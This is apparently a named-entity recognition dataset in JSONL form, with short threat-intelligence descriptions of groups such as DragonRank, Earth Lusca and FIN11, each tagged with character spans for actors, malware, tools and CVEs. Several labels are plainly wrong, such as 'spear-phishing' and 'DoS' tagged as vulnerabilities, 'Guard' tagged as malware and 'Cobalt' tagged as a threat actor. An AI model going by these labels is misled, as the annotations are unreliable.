+{"text": "DragonRank is a threat actor primarily targeting web application services in Asia and Europe, utilizing TTPs associated with Simplified Chinese-speaking hacking groups. They exploit vulnerabilities in platforms like phpMyAdmin and WordPress to deploy web shells, enabling the installation of PlugX and BadIIS malware for black hat SEO practices. Their operations involve lateral movement within compromised networks to maintain control and elevate privileges, while also engaging in unethical online marketing strategies. DragonRank's activities include manipulating search engine rankings and distributing scam websites through compromised Windows IIS servers.", "spans": {"THREAT_ACTOR: DragonRank": [[0, 10], [522, 532]], "SYSTEM: Windows": [[641, 648]], "SYSTEM: WordPress": [[231, 240]], "SYSTEM: IIS": [[649, 652]], "MALWARE: PlugX": [[292, 297]]}, "info": {"source": "apt_reports", "name": "DragonRank"}}
+{"text": "DragonSpark is a threat actor that has been conducting attacks primarily targeting organizations in East Asia. They utilize the open-source tool SparkRAT, which is a multi-platform and frequently updated remote access Trojan. The threat actor is believed to be Chinese-speaking based on their use of Chinese language support and compromised infrastructure located in China and Taiwan. They employ various techniques to evade detection, including Golang source code interpretation and the use of the China Chopper webshell.", "spans": {"THREAT_ACTOR: DragonSpark": [[0, 11]], "MALWARE: SparkRAT": [[145, 153]], "MALWARE: China Chopper": [[499, 512]]}, "info": {"source": "apt_reports", "name": "DragonSpark"}}
+{"text": "DriftingCloud is a persistent threat actor known for targeting various industries and locations. They are skilled at developing or acquiring zero-day exploits to gain unauthorized access to target networks. Compromising gateway devices is a common tactic used by DriftingCloud, making network monitoring solutions crucial for detecting their attacks.", "spans": {"THREAT_ACTOR: DriftingCloud": [[0, 13], [263, 276]], "VULNERABILITY: zero-day": [[141, 149]]}, "info": {"source": "apt_reports", "name": "DriftingCloud"}}
+{"text": "DUNGEON SPIDER is a criminal group operating the ransomware most commonly known as Locky, which has been active since February 2016 and was last observed in late 2017. Locky is a ransomware tool that encrypts files using a combination of cryptographic algorithms: RSA with a key size of 2,048 bits, and AES with a key size of 128 bits. Locky targets a large number of file extensions and is able to encrypt data on shared network drives. In an attempt to further impact victims and prevent file recovery, Locky deletes all of the Shadow Volume Copies on the machine.\nDUNGEON SPIDER primarily relies on broad spam campaigns with malicious attachments for distribution. Locky is the community/industry name associated with this actor.", "spans": {"THREAT_ACTOR: DUNGEON SPIDER": [[0, 14], [567, 581]], "ORGANIZATION: RSA": [[264, 267]], "MALWARE: Locky": [[83, 88], [168, 173], [336, 341], [505, 510], [668, 673]]}, "info": {"source": "apt_reports", "name": "DUNGEON SPIDER"}}
+{"text": "Prodaft researchers have published a report on Paperbug, a cyber-espionage campaign carried out by suspected Russian-speaking group Nomadic Octopus and which targeted entities in Tajikistan. According to Prodaft, known compromised victims included high-ranking government officials, telcos, and public service infrastructures. Compromised devices also included OT devices, besides your typical computers, servers, and mobile devices. In typical Prodaft fashion, the company also gained access to one of the group's C&C server backend panels.", "spans": {"MALWARE: Octopus": [[140, 147]], "MALWARE: Nomadic Octopus": [[132, 147]]}, "info": {"source": "apt_reports", "name": "DustSquad"}}
+{"text": "Threat actors behind the Operation Dust Storm have been active since at least 2010, the hackers targeted several organizations in Japan, South Korea, the US, Europe, and other Asian countries.", "spans": {"THREAT_ACTOR: Dust Storm": [[35, 45]], "THREAT_ACTOR: Operation Dust Storm": [[25, 45]]}, "info": {"source": "apt_reports", "name": "Dust Storm"}}
+{"text": "Earth Alux is a China-linked APT group known for conducting cyberespionage attacks across various sectors, including government, technology, and telecommunications. They primarily exploit vulnerable services in exposed servers to gain initial access, implanting web shells like GODZILLA and deploying backdoors such as VARGEIT and COBEACON. The group employs tools like RSBINJECT and MASQLOADER for lateral movement and network discovery, while also utilizing RAILSETTER for persistence through mspaint injection. Their operations have predominantly targeted the APAC region and have extended to Latin America, with a focus on exfiltrating sensitive information to attacker-controlled cloud storage.", "spans": {"THREAT_ACTOR: Earth Alux": [[0, 10]], "MALWARE: RAILSETTER": [[460, 470]]}, "info": {"source": "apt_reports", "name": "Earth Alux"}}
+{"text": "Earth Baxia is a threat actor opearting out of China, targeting government organizations in Taiwan and potentially across the APAC region, using spear-phishing emails and exploiting the GeoServer vulnerability CVE-2024-36401 for remote code execution, deploying customized Cobalt Strike components with altered signatures, leveraging GrimResource and AppDomainManager injection techniques to deliver additional payloads, and utilizing a new backdoor named EAGLEDOOR for multi-protocol communication and payload delivery.", "spans": {"CVE_ID: CVE-2024-36401": [[210, 224]], "THREAT_ACTOR: Earth Baxia": [[0, 11]], "THREAT_ACTOR: Cobalt": [[273, 279]], "TOOL: Cobalt Strike": [[273, 286]], "VULNERABILITY: spear-phishing": [[145, 159]], "VULNERABILITY: code execution": [[236, 250]], "VULNERABILITY: remote code execution": [[229, 250]], "VULNERABILITY: phishing": [[151, 159]]}, "info": {"source": "apt_reports", "name": "Earth Baxia"}}
+{"text": "According to TrendMicro, Earth Berberoka is a threat group originating from China that mainly focuses on targeting gambling websites. This group's campaign uses multiple malware families that target the Windows, Linux, and macOS platforms that have been attributed to Chinese-speaking actors. Aside from using tried-and-tested malware families that have been upgraded, such as PlugX and Gh0st RAT, Earth Berberoka has also developed a brand-new complex, multistage malware family, which has been dubbed PuppetLoader.", "spans": {"THREAT_ACTOR: Earth Berberoka": [[25, 40], [398, 413]], "SYSTEM: macOS": [[223, 228]], "SYSTEM: Windows": [[203, 210]], "SYSTEM: Linux": [[212, 217]], "MALWARE: Gh0st RAT": [[387, 396]], "MALWARE: PlugX": [[377, 382]]}, "info": {"source": "apt_reports", "name": "Earth Berberoka"}}
+{"text": "Trend Micro found that Earth Estries relies heavily on DLL sideloading to load various tools within its arsenal. Aside from the backdoors previously mentioned, this intrusion set also utilizes commonly used remote control tools like Cobalt Strike, PlugX, or Meterpreter stagers interchangeably in various attack stages. These tools come as encrypted payloads loaded by custom loader DLLs.", "spans": {"THREAT_ACTOR: Earth Estries": [[23, 36]], "THREAT_ACTOR: Cobalt": [[233, 239]], "TOOL: Cobalt Strike": [[233, 246]], "TOOL: Meterpreter": [[258, 269]], "SYSTEM: Trend Micro": [[0, 11]], "VULNERABILITY: DLL sideloading": [[55, 70]], "MALWARE: PlugX": [[248, 253]]}, "info": {"source": "apt_reports", "name": "Earth Estries"}}
+{"text": "Earth Freybug, identified as a subset of APT41, is a cyberthreat group active since at least 2012, engaging in espionage and financially motivated activities across various sectors worldwide. The tactics, techniques, and procedures (TTPs) used in this campaign are similar to the ones from a campaign (Operation CuckooBees) described in an article published by Cybereason. They employ a diverse toolkit, including LOLBins and custom malware, to execute sophisticated cyberespionage attacks. The group's recent tactics involve DLL hijacking and API unhooking through a newly discovered malware named UNAPIMON, which prevents child processes from being monitored. This technique was observed in a vmtoolsd.exe process creating remote tasks to deploy malicious batch files for reconnaissance and backdoor access. UNAPIMON's simplicity and use of Microsoft Detours for defense evasion highlight the group's evolving methods and the need for vigilant security measures, such as restricting admin privileges and adhering to the principle of least privilege. Earth Freybug's persistence and creativity in refining their techniques underscore the ongoing threat they pose and the importance of proactive cybersecurity practices.", "spans": {"THREAT_ACTOR: Earth Freybug": [[0, 13], [1052, 1065]], "THREAT_ACTOR: Operation CuckooBees": [[302, 322]], "THREAT_ACTOR: APT41": [[41, 46]], "TOOL: LOLBins": [[414, 421]], "ORGANIZATION: Microsoft": [[843, 852]], "ORGANIZATION: Cybereason": [[361, 371]], "VULNERABILITY: DLL hijacking": [[526, 539]]}, "info": {"source": "apt_reports", "name": "Earth Freybug"}}
+{"text": "Earth Kapre is an APT group specializing in cyberespionage. They target organizations in various countries through phishing campaigns using malicious attachments to infect machines. Earth Kapre employs techniques like abusing PowerShell, curl, and Program Compatibility Assistant to execute malicious commands and evade detection within targeted networks. The group has been active since at least 2018 and has been linked to multiple incidents involving data theft and espionage.", "spans": {"THREAT_ACTOR: Earth Kapre": [[0, 11], [182, 193]], "TOOL: PowerShell": [[226, 236]], "TOOL: curl": [[238, 242]], "VULNERABILITY: phishing": [[115, 123]]}, "info": {"source": "apt_reports", "name": "Earth Kapre"}}
+{"text": "Earth Kitsune is an advanced persistent threat actor that has been active since at least 2019. They primarily target individuals interested in North Korea and use various tactics, such as compromising websites and employing social engineering, to distribute self-developed backdoors. Earth Kitsune demonstrates technical proficiency and continuously evolves their tools, tactics, and procedures. They have been associated with malware such as WhiskerSpy and SLUB.", "spans": {"THREAT_ACTOR: Earth Kitsune": [[0, 13], [284, 297]], "MALWARE: Kitsune": [[6, 13], [290, 297]]}, "info": {"source": "apt_reports", "name": "Earth Kitsune"}}
+{"text": "Earth Krahang is an APT group targeting government organizations worldwide. They use spear-phishing emails, weak internet-facing servers, and custom backdoors like Cobalt Strike, RESHELL, and XDealer to conduct cyber espionage. The group creates VPN servers on infected systems, employs brute force attacks on email accounts, and exploits compromised government infrastructure to attack other governments. Earth Krahang has been linked to another China-linked actor, Earth Lusca, and is believed to be part of a specialized task force for cyber espionage against government institutions.", "spans": {"THREAT_ACTOR: Earth Krahang": [[0, 13], [406, 419]], "THREAT_ACTOR: Earth Lusca": [[467, 478]], "THREAT_ACTOR: Cobalt": [[164, 170]], "TOOL: Cobalt Strike": [[164, 177]], "SYSTEM: VPN": [[246, 249]], "VULNERABILITY: spear-phishing": [[85, 99]], "VULNERABILITY: phishing": [[91, 99]], "VULNERABILITY: brute force": [[287, 298]]}, "info": {"source": "apt_reports", "name": "Earth Krahang"}}
+{"text": "Earth Kurma is an APT group targeting government and telecommunications sectors in Southeast Asia, with a primary focus on data exfiltration. They employ advanced custom malware, including rootkits like KRNRAT and MORIYA, and utilize cloud storage services for exfiltration. Their toolsets include TESDAT and SIMPOBOXSPY, and they demonstrate adaptive TTPs and complex evasion techniques. Attribution overlaps with other APT groups, but distinct attack patterns warrant their separate designation.", "spans": {"THREAT_ACTOR: Earth Kurma": [[0, 11]], "MALWARE: KRNRAT": [[203, 209]]}, "info": {"source": "apt_reports", "name": "Earth Kurma"}}
+{"text": "Earth Lamia is a China-nexus APT that targets organizations across multiple sectors, including finance, logistics, and government, primarily in Latin America, the Middle East, and Southeast Asia. The actor exploits web application vulnerabilities, such as CVE-2025-55182, and employs techniques like SQL injection, DLL sideloading, and the deployment of custom backdoors like PULSEPACK and BypassBoss. Earth Lamia conducts reconnaissance, file operations, and credential theft, often utilizing tools like Cobalt Strike and VShell.", "spans": {"CVE_ID: CVE-2025-55182": [[256, 270]], "THREAT_ACTOR: Earth Lamia": [[0, 11], [402, 413]], "THREAT_ACTOR: Cobalt": [[505, 511]], "TOOL: Cobalt Strike": [[505, 518]], "VULNERABILITY: SQL injection": [[300, 313]], "VULNERABILITY: credential theft": [[460, 476]], "VULNERABILITY: DLL sideloading": [[315, 330]], "MALWARE: VShell": [[523, 529]]}, "info": {"source": "apt_reports", "name": "Earth Lamia"}}
+{"text": "Earth Longzhi is a subgroup of APT41 targeting organizations based in Taiwan, Thailand, the Philippines, and Fiji, and using “stack rumbling” via Image File Execution Options (IFEO), a new denial-of-service (DoS) technique to disable security software.", "spans": {"THREAT_ACTOR: Earth Longzhi": [[0, 13]], "THREAT_ACTOR: APT41": [[31, 36]], "VULNERABILITY: DoS": [[208, 211]]}, "info": {"source": "apt_reports", "name": "Earth Longzhi"}}
+{"text": "Earth Lusca is a threat actor from China that targets organizations of interest to the Chinese government, including academic institutions, telecommunication companies, religious organizations, and other civil society groups. Earth Lusca's tools closely resemble those used by Winnti Umbrella, but the group appears to operate separately from Winnti. Earth Lusca has also been observed targeting cryptocurrency payment platforms and cryptocurrency exchanges in what are likely financially motivated attacks.", "spans": {"THREAT_ACTOR: Earth Lusca": [[0, 11], [226, 237], [351, 362]], "THREAT_ACTOR: Winnti Umbrella": [[277, 292]]}, "info": {"source": "apt_reports", "name": "Earth Lusca"}}
+{"text": "Earth Wendigo is a threat actor from China that has been targeting several organizations — including government organizations, research institutions, and universities in Taiwan — since May 2019, aiming to exfiltrate emails from targeted organizations via the injection of JavaScript backdoors to a webmail system that is widely used in Taiwan. The threat actor also sent spear-phishing emails embedded with malicious links to multiple individuals, including politicians and activists, who support movements in Tibet, the Uyghur region, or Hong Kong.", "spans": {"THREAT_ACTOR: Earth Wendigo": [[0, 13]], "VULNERABILITY: spear-phishing": [[371, 385]], "VULNERABILITY: phishing": [[377, 385]]}, "info": {"source": "apt_reports", "name": "Earth Wendigo"}}
+{"text": "Earth Yako is a threat actor that has been actively targeting researchers in academic organizations and think tanks in Japan. They use spearphishing emails with malicious attachments to gain initial access to their targets' systems. Earth Yako's objectives and patterns suggest a possible connection to a Chinese APT group, but conclusive proof of their nationality is lacking. They have been observed using various malware delivery methods and techniques, such as the use of Winword.exe for DLL Hijacking.", "spans": {"THREAT_ACTOR: Earth Yako": [[0, 10], [233, 243]], "VULNERABILITY: spearphishing": [[135, 148]]}, "info": {"source": "apt_reports", "name": "Earth Yako"}}
+{"text": "EC2 Grouper is a prolific threat actor known for leveraging AWS tools for PowerShell to conduct automated attacks in cloud environments. They typically utilize the CreateSecurityGroup API to establish remote access and exhibit a consistent security group naming convention. Credential acquisition is believed to stem from compromised cloud access keys, often sourced from public code repositories. Notably, their activities do not include calls to AuthorizeSecurityGroupIngress, suggesting a selective approach to escalation.", "spans": {"THREAT_ACTOR: EC2 Grouper": [[0, 11]], "TOOL: PowerShell": [[74, 84]], "SYSTEM: AWS": [[60, 63]]}, "info": {"source": "apt_reports", "name": "EC2 Grouper"}}
+{"text": "Edalat-e Ali is a hacktivist group known for disrupting Iranian state-run TV and radio transmissions during significant events, such as the Revolution Day ceremonies. They have also targeted government facilities, releasing security camera footage to expose abuses and draw attention to human rights violations. The group has used their hacks to call for protests against the Iranian regime and have displayed anti-government messages during their disruptions. Edalat-e Ali has been active in releasing sensitive information and footage to embarrass Iranian officials and highlight injustices within the country.", "spans": {"THREAT_ACTOR: Edalat-e Ali": [[0, 12], [461, 473]]}, "info": {"source": "apt_reports", "name": "Edalat-e Ali"}}
+{"text": "Educated Manticore is an Iranian APT group aligned with the Islamic Revolutionary Guard Corps, primarily engaged in espionage targeting government, military, and academic sectors. The group employs spear-phishing tactics, utilizing custom backdoors like POWERLESS and phishing kits designed as SPAs to harvest credentials. Their operations have included impersonating credible figures to lure victims and using ISO images to initiate infection chains. Educated Manticore's activities are characterized by rapid domain setup and aggressive spear-phishing campaigns, particularly against Israeli individuals.", "spans": {"THREAT_ACTOR: Educated Manticore": [[0, 18], [452, 470]], "VULNERABILITY: spear-phishing": [[198, 212], [539, 553]], "VULNERABILITY: phishing": [[204, 212], [268, 276], [545, 553]], "MALWARE: Guard": [[82, 87]]}, "info": {"source": "apt_reports", "name": "Educated Manticore"}}
+{"text": "ELUSIVE COMET is a threat actor responsible for significant cryptocurrency theft through sophisticated social engineering attacks, particularly leveraging Zoom's remote control feature. Their attack methodology involves manipulating legitimate workflows and exploiting human-centric vulnerabilities rather than technical flaws. The actor employs tactics such as social proof, time pressure, and interface manipulation to deceive targets. Organizations can mitigate risks by implementing technical controls to disable the remote control feature and deploying email boundary protections like DMARC, SPF, and DKIM.", "spans": {"THREAT_ACTOR: ELUSIVE COMET": [[0, 13]], "SYSTEM: Zoom": [[155, 159]]}, "info": {"source": "apt_reports", "name": "ELUSIVE COMET"}}
+{"text": "El Machete is one of these threats that was first publicly disclosed and named by Kaspersky here. We’ve found that this group has continued to operate successfully, predominantly in Latin America, since 2014. All attackers simply moved to new C2 infrastructure, based largely around dynamic DNS domains, in addition to making minimal changes to the malware in order to evade signature-based detection.", "spans": {"THREAT_ACTOR: El Machete": [[0, 10]], "SYSTEM: Kaspersky": [[82, 91]], "MALWARE: Machete": [[3, 10]]}, "info": {"source": "apt_reports", "name": "El Machete"}}
+{"text": "A Russian group that collects intelligence on the energy industry.", "spans": {}, "info": {"source": "apt_reports", "name": "ENERGETIC BEAR"}}
+{"text": "The Equation Group is a highly sophisticated threat actor described by its discoverers at Kaspersky Labs as one of the most sophisticated cyber attack groups in the world, operating alongside but always from a position of superiority with the creators of Stuxnet and Flame", "spans": {"THREAT_ACTOR: Equation Group": [[4, 18]], "SYSTEM: Kaspersky": [[90, 99]], "MALWARE: Stuxnet": [[255, 262]], "MALWARE: Flame": [[267, 272]], "MALWARE: Equation": [[4, 12]]}, "info": {"source": "apt_reports", "name": "Equation Group"}}
+{"text": "Evasive Panda is an APT group that has been active since at least 2012, conducting cyberespionage targeting individuals, government institutions and organizations.", "spans": {"THREAT_ACTOR: Evasive Panda": [[0, 13]]}, "info": {"source": "apt_reports", "name": "Evasive Panda"}}
+{"text": "EvilByte is a hacktivist group that has conducted several high-profile cyber attacks in 2024, including breaching MyFatoorah's banking system in retaliation against Saudi media 1 and targeting Radio 10 Rosario in Argentina 2. The group has also claimed responsibility for breaching Israeli government websites and leaking data of government employees and intelligence agencies 4.", "spans": {"THREAT_ACTOR: EvilByte": [[0, 8]]}, "info": {"source": "apt_reports", "name": "Evilbyte"}}
+{"text": "ESET has analyzed the operations of Evilnum, the APT group behind the Evilnum malware previously seen in attacks against financial technology companies. While said malware has been seen in the wild since at least 2018 and documented previously, little has been published about the group behind it and how it operates. The group’s targets remain fintech companies, but its toolset and infrastructure have evolved and now consist of a mix of custom, homemade malware combined with tools purchased from Golden Chickens, a Malware-as-a-Service (MaaS) provider whose infamous customers include FIN6 and Cobalt Group.", "spans": {"THREAT_ACTOR: Evilnum": [[36, 43], [70, 77]], "THREAT_ACTOR: Cobalt": [[598, 604]], "THREAT_ACTOR: FIN6": [[589, 593]], "SYSTEM: ESET": [[0, 4]], "MALWARE: Cobalt Group": [[598, 610]]}, "info": {"source": "apt_reports", "name": "Evilnum"}}
+{"text": "Malware experts at CSE Cybsec uncovered a massive malvertising campaign dubbed EvilTraffic leveraging tens of thousands compromised websites. Crooks exploited some CMS vulnerabilities to upload and execute arbitrary PHP pages used to generate revenues via advertising.", "spans": {"THREAT_ACTOR: EvilTraffic": [[79, 90]], "SYSTEM: PHP": [[216, 219]]}, "info": {"source": "apt_reports", "name": "EvilTraffic"}}
+{"text": "EvilWeb is a pro-Russian hacktivist group created in March 2024 that targets American and European entities using a hack-and-leak method alongside DDoS attacks. The group claims to have obtained data from various high-profile American organizations. EvilWeb announced its participation in the #FreeDurov operation on August 25, 2024, and began executing DDoS and hacking attacks. As of September 3, 2024, their Telegram channel has 1,146 members.", "spans": {"THREAT_ACTOR: EvilWeb": [[0, 7], [250, 257]], "SYSTEM: Telegram": [[411, 419]], "VULNERABILITY: DDoS": [[147, 151], [354, 358]]}, "info": {"source": "apt_reports", "name": "EvilWeb"}}
+{"text": "Evil Corp is an internaltional cybercrime network. In December of 2019 the US Federal Government offered a $5M bounty for information leading to the arrest and conviction of Maksim V. Yakubets for allegedly orchestrating Evil Corp operations.  Responsible for stealing over $100M from businesses and consumers.  The Evil Corp organization is known for utilizing custom strains of malware such as JabberZeus, Bugat and Dridex to steal banking credentials.", "spans": {"THREAT_ACTOR: Evil Corp": [[0, 9], [221, 230], [316, 325]], "MALWARE: Dridex": [[418, 424]], "MALWARE: Bugat": [[408, 413]]}, "info": {"source": "apt_reports", "name": "Evil Corp"}}
+{"text": "ExCobalt is an APT group that has been active since at least 2016 and is believed to be linked to the notorious Cobalt Gang. The group primarily targets Russian organizations across sectors—including metallurgy, telecommunications, mining, information technology, government, and software development by exploiting supply chain weaknesses and compromised contractors for initial access. ExCobalt’s toolkit features a custom Golang‑based backdoor, GoRed, which enables remote command execution, credential harvesting, and detailed system reconnaissance, while the group also employs established tools such as Spark RAT, Mimikatz, and multiple Linux privilege escalation exploits. Researchers note that ExCobalt continually evolves its tactics and even modifies standard utilities to bypass security controls and maintain persistent access, underscoring its commitment to sophisticated cyberespionage and data theft operations.", "spans": {"THREAT_ACTOR: ExCobalt": [[0, 8], [387, 395], [701, 709]], "THREAT_ACTOR: Cobalt": [[112, 118]], "TOOL: Mimikatz": [[619, 627]], "SYSTEM: Linux": [[642, 647]], "VULNERABILITY: privilege escalation": [[648, 668]], "MALWARE: Spark": [[608, 613]]}, "info": {"source": "apt_reports", "name": "ExCobalt"}}
+{"text": "EXOTIC LILY is a resourceful, financially motivated group whose activities appear to be closely linked with data exfiltration and deployment of human-operated ransomware such as Conti and Diavol. In early September 2021, the group has been obeserved exploiting a 0day in Microsoft MSHTML (CVE-2021-40444). Investigation lead researchers to believe that they are an Initial Access Broker (IAB) who appear to be working with the Russian cyber crime gang known as FIN12 (Mandiant, FireEye) / WIZARD SPIDER (CrowdStrike). This threat actor deploys tactics, techniques and procedures (TTPs) that are traditionally associated with more targeted attacks, like spoofing companies and employees as a means of gaining trust of a targeted organization through email campaigns that are believed to be sent by real human operators using little-to-no automation. Additionally and rather uniquely, they leverage legitimate file-sharing services like WeTransfer, TransferNow and OneDrive to deliver the payload, namely BUMBLEEBEE and BAZARLOADER, further evading detection mechanisms. This level of human-interaction is rather unusual for cyber crime groups focused on mass scale operations.", "spans": {"CVE_ID: CVE-2021-40444": [[289, 303]], "THREAT_ACTOR: EXOTIC LILY": [[0, 11]], "THREAT_ACTOR: WIZARD SPIDER": [[489, 502]], "ORGANIZATION: Mandiant": [[468, 476]], "ORGANIZATION: Microsoft": [[271, 280]], "ORGANIZATION: FireEye": [[478, 485]], "ORGANIZATION: CrowdStrike": [[504, 515]], "VULNERABILITY: 0day": [[263, 267]], "MALWARE: Conti": [[178, 183]], "MALWARE: Diavol": [[188, 194]]}, "info": {"source": "apt_reports", "name": "EXOTIC LILY"}}
+{"text": "Fail0verflow is a hacking group known for exploiting vulnerabilities in gaming consoles, notably the Nintendo Wii and PlayStation 3. They utilized techniques such as RAM shorting, buffer overflow, and a signing bug to achieve code execution and develop the Homebrew Channel for the Wii. In 2010, they compromised an ECDSA key for the PS3, and later announced the retrieval of PS5 symmetric root keys, enabling the potential for custom firmware and homebrew software. Their exploits often involve kernel access and have raised concerns about the implications for piracy and litigation in the gaming community.", "spans": {"THREAT_ACTOR: Fail0verflow": [[0, 12]], "VULNERABILITY: code execution": [[226, 240]], "VULNERABILITY: buffer overflow": [[180, 195]]}, "info": {"source": "apt_reports", "name": "Fail0verflow"}}
+{"text": "Treasury has identified a sophisticated cyber-enabled ATM cash out campaign we are calling FASTCash. FASTCash has been active since late 2016 targeting banks in Africa and Asia to remotely compromise payment switch application servers within banks to facilitate fraudulent transactions, primarily involving ATMs, to steal cash equivalent to tens of millions of dollars. FBI has attributed malware used in this campaign to the North Korean government. We expect FASTCash to continue targeting retail payment systems vulnerable to remote exploitation.", "spans": {"THREAT_ACTOR: FASTCash": [[91, 99], [101, 109], [461, 469]], "ORGANIZATION: FBI": [[370, 373]]}, "info": {"source": "apt_reports", "name": "FASTCash"}}
+{"text": "Femwar02 is a previously unknown pro-Russian ransomware threat actor that emerged in early 2026, linked to a major cyberattack on Italy's Sapienza University of Rome in February 2026, which caused a full network shutdown and operational disruptions. The group deploys Bablock (also known as Rorschach), a next-generation ransomware strain first identified in 2023 that features fast hybrid encryption (curve25519 and hc-128), partial file encryption for speed, direct system calls to evade detection, and domain-wide propagation via Group Policy on Windows Domain Controllers. Bablock shares code similarities with LockBit 2.0 but incorporates elements from other families like Babuk and DarkSide, often delivered via encrypted payloads, DLL sideloading with tools like DarkLoader, and exploits such as those in Zimbra or phishing. Notably, the malware skips encrypting files written in Russian, reinforcing its pro-Russian alignment, with no prior attributions or campaigns documented before the Sapienza incident.", "spans": {"THREAT_ACTOR: Femwar02": [[0, 8]], "SYSTEM: Zimbra": [[812, 818]], "SYSTEM: Windows": [[549, 556]], "SYSTEM: Group Policy": [[533, 545]], "VULNERABILITY: phishing": [[822, 830]], "VULNERABILITY: DLL sideloading": [[738, 753]], "MALWARE: Babuk": [[678, 683]], "MALWARE: DarkSide": [[688, 696]], "MALWARE: LockBit 2.0": [[615, 626]]}, "info": {"source": "apt_reports", "name": "Femwar02"}}
+{"text": "Ferocious Kitten is an APT group that has been active against Persian-speaking individuals since 2015 and appears to be based in Iran. Although it has been active over a large timespan, the group has mostly operated under the radar until a lure document was uploaded to VirusTotal and was brought to public knowledge by researchers on Twitter. Subsequently, one of its implants was analyzed by a Chinese intelligence firm. Kaspersky then expanded some of the findings on the group and provided insights on additional variants. The malware dropped from the aforementioned document is dubbed MarkiRAT and is used to record keystrokes and clipboard content, provide file download and upload capabilities as well as the ability to execute arbitrary commands on the victims machine. Kaspersky were able to trace the implant back to at least 2015, along with variants intended to hijack the execution of the Telegram and Chrome applications as a persistence method. Interestingly, some of the TTPs used by this threat actor are reminiscent of other groups operating in the domain of dissident surveillance. For example, it used the same C2 domains across its implants for years, which was witnessed in the activity of Domestic Kitten. In the same vein, the Telegram execution hijacking technique observed in this campaign by Ferocious Kitten was also observed being used by Rampant Kitten, as covered by Check Point.", "spans": {"THREAT_ACTOR: Ferocious Kitten": [[0, 16], [1319, 1335]], "THREAT_ACTOR: Domestic Kitten": [[1212, 1227]], "SYSTEM: Kaspersky": [[423, 432], [778, 787]], "SYSTEM: Chrome": [[915, 921]], "SYSTEM: Telegram": [[902, 910], [1251, 1259]], "ORGANIZATION: Check Point": [[1398, 1409]], "ORGANIZATION: VirusTotal": [[270, 280]], "MALWARE: Ferocious": [[0, 9], [1319, 1328]], "MALWARE: MarkiRAT": [[590, 598]]}, "info": {"source": "apt_reports", "name": "Ferocious Kitten"}}
+{"text": "FireEye first identified this activity during a recent investigation at an organization in the financial industry. They identified the presence of a financially motivated threat group that they track as FIN1, whose activity at the organization dated back several years. The threat group deployed numerous malicious files and utilities, all of which were part of a malware ecosystem referred to as ‘Nemesis’ by the malware developer(s), and used this malware to access the victim environment and steal cardholder data. FIN1, which may be located in Russia or a Russian-speaking country based on language settings in many of their custom tools, is known for stealing data that is easily monetized from financial services organizations such as banks, credit unions, ATM operations, and financial transaction processing and financial business services companies.", "spans": {"THREAT_ACTOR: FIN1": [[203, 207], [518, 522]], "ORGANIZATION: FireEye": [[0, 7]]}, "info": {"source": "apt_reports", "name": "FIN1"}}
+{"text": "FireEye has observed multiple targeted intrusions occurring in North America — predominately in Canada — dating back to at least 2013 and continuing through at least 2016, in which the attacker(s) have compromised organizations’ networks and sought to monetize this illicit access by exfiltrating sensitive data and extorting victim organizations. In some cases, when the extortion demand was not met, the attacker(s) destroyed production Windows systems by deleting critical operating system files and then shutting down the impacted systems. Based on near parallel TTPs used by the attacker(s) across these targeted intrusions, we believe these clusters of activity are linked to a single, previously unobserved actor or group that we have dubbed FIN10.", "spans": {"THREAT_ACTOR: FIN10": [[749, 754]], "SYSTEM: Windows": [[439, 446]], "ORGANIZATION: FireEye": [[0, 7]]}, "info": {"source": "apt_reports", "name": "FIN10"}}
+{"text": "FIN11 is a well-established financial crime group that has recently focused its operations on ransomware and extortion. The group has been active since 2017 and has been tracked under UNC902 and later on as TEMP.Warlok. In some ways, FIN11 is reminiscent of APT1; they are notable not for their sophistication, but for their sheer volume of activity.(FireEye) Mandiant has also responded to numerous FIN11 intrusions, but we’ve only observed the group successfully monetize access in few instances. This could suggest that the actors cast a wide net during their phishing operations, then choose which victims to further exploit based on characteristics such as sector, geolocation or perceived security posture. Recently, FIN11 has deployed CLOP ransomware and threatened to publish exfiltrated data to pressure victims into paying ransom demands. The group’s shifting monetization methods—from point-of-sale (POS) malware in 2018, to ransomware in 2019, and hybrid extortion in 2020—is part of a larger trend in which criminal actors have increasingly focused on post-compromise ransomware deployment and data theft extortion. Notably, FIN11 includes a subset of the activity security researchers call TA505, Graceful Spider, Gold Evergreen, but we do not attribute TA505’s early operations to FIN11 and caution against using the names interchangeably. Attribution of both historic TA505 activity and more recent FIN11 activity is complicated by the actors’ use of criminal service providers. Like most financially motivated actors, FIN11 doesn’t operate in a vacuum. We believe that the group has used services that provide anonymous domain registration, bulletproof hosting, code signing certificates, and private or semi-private malware. Outsourcing work to these criminal service providers likely enables FIN11 to increase the scale and sophistication of their operations.", "spans": {"THREAT_ACTOR: FIN11": [[0, 5], [234, 239], [400, 405], [723, 728], [1138, 1143], [1296, 1301], [1415, 1420], [1535, 1540], [1811, 1816]], "THREAT_ACTOR: TA505": [[1204, 1209], [1268, 1273], [1384, 1389]], "THREAT_ACTOR: APT1": [[258, 262]], "ORGANIZATION: Mandiant": [[360, 368]], "ORGANIZATION: FireEye": [[351, 358]], "VULNERABILITY: phishing": [[563, 571]]}, "info": {"source": "apt_reports", "name": "FIN11"}}
+{"text": "Since 2017, Mandiant has been tracking FIN13, an industrious and versatile financially motivated threat actor conducting long-term intrusions in Mexico with an activity timeframe stretching back as early as 2016. Although their operations continue through the present day, in many ways FIN13's intrusions are like a time capsule of traditional financial cybercrime from days past. Instead of today's prevalent smash-and-grab ransomware groups, FIN13 takes their time to gather information to perform fraudulent money transfers. Rather than relying heavily on attack frameworks such as Cobalt Strike, the majority of FIN13 intrusions involve heavy use of custom passive backdoors and tools to lurk in environments for the long haul.", "spans": {"THREAT_ACTOR: FIN13": [[39, 44], [286, 291], [444, 449], [616, 621]], "THREAT_ACTOR: Cobalt": [[585, 591]], "TOOL: Cobalt Strike": [[585, 598]], "ORGANIZATION: Mandiant": [[12, 20]]}, "info": {"source": "apt_reports", "name": "FIN13"}}
+{"text": "FIN5 is a financially motivated threat group that has targeted personally identifiable information and payment card information. The group has been active since at least 2008 and has targeted the restaurant, gaming, and hotel industries. The group is made up of actors who likely speak Russian.", "spans": {"THREAT_ACTOR: FIN5": [[0, 4]]}, "info": {"source": "apt_reports", "name": "FIN5"}}
+{"text": "FIN is a group targeting financial assets including assets able to do financial transaction including PoS.", "spans": {}, "info": {"source": "apt_reports", "name": "FIN6"}}
+{"text": "Groups targeting financial organizations or people with significant financial assets.", "spans": {}, "info": {"source": "apt_reports", "name": "FIN7"}}
